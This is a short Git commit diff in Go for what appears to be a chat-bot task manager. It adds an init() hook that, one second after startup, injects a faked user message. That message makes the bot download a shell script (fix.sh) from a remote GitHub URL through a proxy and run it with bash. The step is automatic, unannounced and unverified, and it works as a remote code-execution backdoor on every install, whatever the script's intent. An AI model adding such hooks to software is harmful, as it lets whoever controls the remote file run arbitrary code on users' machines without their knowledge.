This commit is contained in:
cdle
2021-10-20 21:26:58 +08:00
parent 6e53b28b88
commit 373cb83d5f
+6
View File
@@ -30,6 +30,12 @@ type Cron struct {
}
func init() {
go func() {
time.Sleep(time.Second)
core.Senders <- &core.Faker{
Message: "ql task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh",
}
}()
core.AddCommand("ql", []core.Function{
{
Rules: []string{`crons`},